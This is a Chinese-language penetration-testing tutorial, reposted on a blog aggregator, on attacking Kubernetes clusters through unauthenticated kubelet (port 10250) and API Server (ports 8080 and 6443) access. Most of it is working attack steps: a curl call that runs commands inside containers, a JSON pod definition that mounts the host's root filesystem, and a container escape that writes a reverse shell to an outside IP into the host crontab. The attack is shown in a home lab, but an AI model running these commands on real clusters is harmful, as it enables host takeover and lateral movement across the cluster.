Day97:云上攻防-云原生篇KubernetesK8s安全APIKubelet未授权访问容器执行

news2024/11/24 20:51:34

知识点:

1、云原生-K8s安全-名词架构&各攻击点

2、云原生-K8s安全-Kubelet未授权访问

3、云原生-K8s安全-API Server未授权访问

K8S集群

Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。

Master节点(控制端)、Node节点(主机)、Pod(容器)

具体参考:https://blog.csdn.net/qq_34101364/article/details/122506768

K8S集群攻击点

随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:

通过虚拟机攻击云管理平台,利用管理平台控制所有机器

通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器

利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。

详细攻击点参考:

https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw

https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

扫目标端口来判断

本地搭建环境测试,搭建环境使用3台Centos 7,参考文章:

https://www.jianshu.com/p/25c01cae990c

https://blog.csdn.net/fly910905/article/details/120887686

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

K8s-master 192.168.139.130

K8s-node1 192.168.139.131

K8s-node2 192.168.139.132

云原生-K8s安全-Kubelet(node)未授权访问

攻击10250端口:kubelet未授权访问

修改配置文件

192.168.230.132配置如下:

/var/lib/kubelet/config.yaml

修改authentication的anonymous为true,

将authorization mode修改为AlwaysAllow,

重启kubelet进程-

systemctl restart kubelet

再次访问

1、访问获取三个参数值

https://192.168.16.142:10250/runningpods/

2、执行容器命令:

curl -XPOST -k "https://192.168.16.142:10250/run/default/nginx-6db489d4b7-t8rqt/nginx" -d "cmd=id"

执行的命令是test03容器里的命令,需要进行容器逃逸

云原生-K8s安全-API Server未授权访问

API Server(Master)未授权访问

攻击8080端口

旧版本的k8s的API Server默认会开启两个端口:8080和6443。

6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,

仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0为旧版本)

新版本k8s默认已经不开启8080。需要更改相应的配置

cd /etc/kubernetes/manifests/

- --insecure-port=8080

- --insecure-bind-address=0.0.0.0

访问http://192.168.16.137:8080/

kubectl官方工具下载地址:安装工具 | Kubernetes

一、获取所有主机(nodes)节点

kubectl.exe -s 192.168.16.143:8080 get nodes  

二、获取所有容器(pods)节点

kubectl.exe -s 192.168.16.143:8080 get pods

三、创建新的docker容器

kubectl -s 192.168.16.143:8080 create -f test.yaml

kubectl apply -f pod.yaml --namespace=test

//创建一个pod文件,相当于新建一个名为xiaodi的docker容器

kubectl.exe -s 192.168.16.143:8080 get pods  

四、进入到创建的docker容器

kubectl -s 192.168.16.143:8080 --namespace=default exec -it xiaodi bash

kubectl -s 192.168.16.143:8080 exec -it "xiaodi" /bin/bash

进不去,

kubectl exec -it "xiaodi" /bin/bash

//docker进入到xiaodi容器的命令

五、容器逃逸获取宿主机shell

echo -e "* * * * * root bash -i >& /dev/tcp/111.230.109.74/4444 0>&1\n" >> /mnt/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

其中一个节点写入

反弹成功了

是宿主机

API Server(Master)未授权访问

攻击6443端口

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous

访问

一、创建恶意pods容器

https://192.168.16.143:6443/api/v1/namespaces/default/pods/

POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test03\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test03\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test03","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test03","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

二、连接查看pods

kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 get pods

三、进入到test03容器里并反弹宿主机的shell

kubectl --insecure-skip-tls-verify -s https://192.168.16.143:6443 --namespace=default exec -it test03 bin/bash   //失败

kubectl exec -it "test03" /bin/bash

echo -e "* * * * * root bash -i >& /dev/tcp/111.230.109.74/4455 0>&1\n" >> /host/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

反弹成功了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2063787.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

83.游戏改造-窗口化

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a;易道云信息技术研究院 上一个内容&#xff1a;82.游戏改造-修改分辨率 逆向窗口化的思路&#xff1a; 首先使用Ollydbg工具打开 82.游…

《重温JavaScript五子棋小游戏》

目录 全部运行代码&#xff1a;五子棋游戏的基本步骤&#xff1a;代码剖析&#xff1a;1. 初始化游戏界面2. 管理游戏状态3. 玩家交互4. 电脑AI5. 胜负判定6. 游戏控制 本文通过实现一个基本的五子棋游戏&#xff0c;展示了如何使用HTML、CSS和JavaScript来构建一个简单的交互式…

校园疫情防控系统

TOC springboot0780校园疫情防控系统 第1章 绪论 1.1背景及意义 随着社会的快速发展&#xff0c;计算机的影响是全面且深入的。学校管理水平的不断提高&#xff0c;日常生活中学生对校园疫情防控方面的要求也在不断提高&#xff0c;学生的人数更是不断增加&#xff0c;使得…

虚幻5|AI视力系统,听力系统,预测系统(3)预测系统

虚幻5|AI视力系统&#xff0c;听力系统&#xff0c;预测系统&#xff08;2&#xff09;听力系统-CSDN博客 一&#xff0c;添加一个AI预感感官配置 1.选中我们的AIPerception,右侧细节添加一个AI预感感官配置&#xff0c;然后我们把所有感官的年龄都调成5&#xff0c;是所有 2…

jmeter——添加测试片段

问&#xff1a;为什么要添加测试片段&#xff1f; 答&#xff1a;在测试的过程中&#xff0c;有可能遇到这一个测试需要上一个测试为前提的情况&#xff0c;例如&#xff1a;登录之后才能下单&#xff0c;所以先要进行登录&#xff0c;因此就用到【测试片段】。 1、右键【测试…

网络协议概述,ip协议,TCP协议,udp协议,二者区别,python中用socket类实现网络通信程序的编写(服务器套接字实现TCP编程,UDP编程)

七层协议 ① ip协议 ②TCP协议 TCP协议面向连接的&#xff0c;可靠的协议&#xff0c;有三次握手来保证可靠性 ③ udp协议 不一定可以保证数据发过去&#xff0c;像发短信一样&#xff0c;对方不一定在线&#xff0c;号码也不一定对 TCP,UDP之间存在一些区别&#xff1a…

JavaSocket编程

一、JavaSocket编程 1.1HTTP协议 后端原理 2. 特点 同步&#xff1a;就是两个任务执行的过程中&#xff0c;其中一个任务要等另一个任务完成某各阶段性工作才能继续执行&#xff0c;如厨师A炒番茄&#xff0c;将葱花放入锅中&#xff0c;然后需要放入番茄&#xff0c;但是厨…

【计算机系统基础读书笔记】1.1.3 程序和指令的执行过程

冯诺依曼结构计算机的功能通过执行程序实现&#xff0c;程序的执行过程就算所包含的指令的执行过程。 指令&#xff08;instruction&#xff09;是用0和1表示的一串0/1序列&#xff0c;用来指示CPU完成一个特定的原子操作。 指令&#xff08;instruction&#xff09;在计算机科…

Redis 键值型数据库

一、Redis是什么 Redis&#xff1a;REmote DIctionary Server&#xff08;远程字典服务器&#xff09; 是完全开源免费的&#xff0c;用C语言编写的&#xff0c;遵守BSD协议&#xff0c;是一个高性能的&#xff08;Key/Value&#xff09;分布式内存数据 库&#xff0c;基于内存…

悟空大爆,OZON有哪些悟空产品推荐

Top1 减压玩具 Электронный поп ит пикачу Pop It антистресс 商品id&#xff1a;1592564066 月销量&#xff1a;811 OZON有哪些悟空产品&#xff0c;详情看工具&#xff1a;D。DDqbt。COm/74rD 此款减压玩具以其独特的设计&#xff0c;为…

保姆级教程!奶奶都能学会的Mac本地部署Stable Diffusion教程

一、为什么选择Stable-diffusion 举一个简单的例子&#xff0c;Midjourney和Stable diffusion在照片处理领域就好比是“美图秀秀”和“PS”&#xff1b;在短视频制作领域&#xff0c;就好比是“剪映”和“PR”。 这样说是不是更容易理解了&#xff0c;如果你是新手只想单纯的…

最高身高(c语言)

1.//描述 //KiKi想从n行m列的方阵队列中找到身高最高的人的位置&#xff0c;请你帮助他完成这个任务。 // //输入描述&#xff1a; //第一行包含两个整数n和m&#xff0c;表示这个方阵队列包含n行m列。从2到n 1行&#xff0c; // 每行输入m个整数&#xff08;范围 - 231~231 -…

当黑神话遇上AI:悟空背后的策划逆袭战

声明&#xff1a;此篇为 ai123.cn 原创文章&#xff0c;转载请标明出处链接&#xff1a;https://ai123.cn/2192.html 哈喽&#xff0c;亲爱的游戏迷&#xff0c;随着《黑神话&#xff1a;悟空》的上线&#xff0c;大家都在忙着“直面天命”了吧&#xff1f;今天我想和大家分享最…

基于Java爬取微博数据(四) 获取 图片 or 视频

基于Java爬取微博数据四 获取 图片 or 视频 图片 or 视频转存 图片 or 视频注意点 前面已经讲述了基于 Java 爬取微博正文列表内容&#xff0c;微博用户主页内容以及导出爬取到的微博数据等操作&#xff0c;那么下面讲述一下如何处理微博正文中的图片/视频等内容。 图片 or 视…

linux笔记1

命令格式 命令行界面的提示符解析&#xff1a; [rootlocalhost ~]# root位置&#xff1a; 登录用户名 &#xff1a; 连接符号 localhost位置: 本机的主机名 ~位置: 当前的所在位置 #位置&#xff1a; 表示是超级管理员还是普通用户 超级管…

Cesium 自定义MaterialProperty原理解析

MaterialProperty是一个抽象接口类&#xff0c;它定义了Entity图元的材质要实现的属性和函数。这些属性和函数主要是cesium 内部调用&#xff0c;用于减少cesium 内部对材质的重复创建和缓存&#xff0c;减少内存开销。 1. Property 类 Property类是所有属性的抽象接口类&…

B2B⼤宗电商交易系统功能案例分析

B2B大宗电商交易系统是构建高效、安全、可扩展电子商务平台的重要基石。以下是对该系统后端架构与关键功能的详细解析&#xff1a; 后端架构 B2B大宗电商交易系统的后端架构通常涉及多个关键组件和技术&#xff0c;以确保系统的稳定运行和高效处理。主要组成部分包括&#xff…

UE4编安卓时Core模块为何只include Android文件夹?

Core模块 Core模块是整个引擎中最核心的模块。几乎UE4中的每个其他模块都导入Core。Engine\Source\Runtime\Core\Private下有很多文件夹&#xff0c;下面罗列一部分&#xff1a; G:\St\EngineSource\Engine\Source\Runtime\Core\Private 的目录 2024/07/18 12:02 <DIR…

AOC U27U2P创作设计旗舰——传递情感,用色彩说话!

摘要&#xff1a;每一次设计都是一种表达&#xff0c;每一次创作都是一次成长 并不是所有的路在一开始走的时候&#xff0c;都能找到正确的方向。对于设计师而言&#xff0c;在创作与设计的道路上&#xff0c;亦是如此。灵感的枯竭、无休止的改稿、色彩的偏差等等&#xff0c;…

基于springboot的校园失物招领系统--论文pf

TOC springboot483基于springboot的校园失物招领系统--论文pf 第1章 绪论 1.1 课题背景 二十一世纪互联网的出现&#xff0c;改变了几千年以来人们的生活&#xff0c;不仅仅是生活物资的丰富&#xff0c;还有精神层次的丰富。在互联网诞生之前&#xff0c;地域位置往往是人…